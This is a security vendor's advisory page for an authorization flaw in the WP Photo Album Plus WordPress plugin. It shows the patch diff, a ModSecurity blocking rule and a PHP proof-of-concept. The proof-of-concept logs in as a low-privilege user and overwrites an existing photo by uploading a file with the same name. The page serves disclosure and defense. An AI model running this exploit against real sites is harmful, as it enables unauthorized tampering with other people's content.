+	$from = 	array( 	"> <", "<ul></ul>", "<!--",   '" >', 'style=" ', '"/>',  ' style=""', 'px;', '/>' );
+	$to = 		array(	"><",  "",          "n<!--", '">',  'style="',  '" />', ' ',          'px;', '>'  );

 	$result = str_replace( $from, $to, $result );

@@ -6590,4 +6593,48 @@
 	$may = in_array( $album, $albums );

 	return $may;
-}
 No newline at end of file
+}
+
+// Sanitize string to contain only a--z A--Z 0--9 # $ , . - _
+function wppa_alphadec( $string, $extra = '', $indicate = false ) {
+static $allowed_dflt;
+static $allowed_extra;
+
+	if ( is_array( $string ) ) {
+		wppa_log('err', 'wppa_alpgadec() called with an array' );
+		return '';
+	}
+
+	if ( ! $allowed_dflt ) {
+		$allowed_dflt = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
+						 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
+						 '0','1','2','3','4','5','6','7','8','9'];
+		$allowed_extra = ['-','_','#','$',',','.',' '];
+	}
+
+	$check_against = $allowed_dflt;
+	if ( $extra != 'strict' ) {
+		$check_against = array_merge( $check_against, $allowed_extra );
+	}
+	if ( is_array( $extra ) ) {
+		$check_against = array_merge( $check_against, $extra );
+	}
+
+	$result = '';
+	$len = strlen( $string );
+	if ( $len ) {
+		$idx = 0;
+		while ( $idx < $len ) {
+			$char = substr( $string, $idx, 1 );
+			if ( in_array( $char, $check_against ) ) {
+				$result .= $char;
+			}
+			elseif ( $indicate ) {
+				$result .= '*';
+			}
+			$idx++;
+		}
+	}
+
+	return $result;
+}
--- a/wp-photo-album-plus/wppa.php
+++ b/wp-photo-album-plus/wppa.php
@@ -2,7 +2,7 @@
 /*
  * Plugin Name: WP Photo Album Plus
  * Description: Easily manage and display your photo albums and slideshows within your WordPress site.
- * Version: 9.3.07.003
+ * Version: 9.3.08.001
  * Author: J.N. Breetvelt a.k.a. OpaJaap
  * Author URI: http://opajaap.nl/
  * Plugin URI: https://wppa.nl/
@@ -22,7 +22,7 @@
 global $wp_version;

 /* WPPA Version */
-global $wppa_version; 		$wppa_version = '9.3.07.003';							// WPPA software version
+global $wppa_version; 		$wppa_version = '9.3.08.001';							// WPPA software version
 global $wppa_revno; 		$wppa_revno = str_replace( '.', '', $wppa_version );	// WPPA db version

 /* Init page js data */

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137101
# Block attempts to overwrite existing photos via filename collision in WP Photo Album Plus
# This rule targets the AJAX upload action and requires a filename parameter that matches a photo basename.
# Since the filename is dynamic, we use a regex to detect common image extensions in the filename.
# To reduce false positives, we only block requests to admin-ajax.php with the specific action and a filename parameter.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026137101,phase:2,deny,status:403,chain,msg:'CVE-2026-137101 - WP Photo Album Plus Filename Collision Overwrite',severity:'CRITICAL',tag:'CVE-2026-137101'"
  SecRule ARGS_POST:action "@streq wppa_user_upload" "chain"
    SecRule ARGS_POST:file "@rx .(jpg|jpeg|png|gif)$" "t:none,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137101 - WP Photo Album Plus <= 9.3.07.003 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Content Modification via Filename Collision

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber';          // Subscriber-level credentials
$password = 'password';
$album_id = 1;                     // ID of a public album with existing photos
$existing_filename = 'existing-photo.jpg'; // Basename of a photo in the album
$new_image_path = '/tmp/malicious.jpg'; // Local path to attacker-controlled image

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Prepare the malicious upload with matching filename
$file = new CURLFile($new_image_path, 'image/jpeg', $existing_filename);
$post_data = [
    'action' => 'wppa_user_upload', // Adjust if different action name
    'album' => $album_id,
    'file' => $file,
    // Include any required nonce if known (optional, may be omitted if not enforced)
];

// Step 3: Send the upload request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Output result
echo "Response: " . $response . "n";

// The existing photo's high-resolution source is now overwritten with the attacker's image.
// Verify by accessing the photo's lightbox or hi-res URL.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.